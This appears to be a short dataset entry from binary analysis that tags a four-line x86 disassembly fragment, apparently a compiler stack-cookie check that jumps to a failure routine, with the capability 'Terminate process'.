Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40dac8]
jne 0x4072e8
repz ret
jmp fcn.00408a05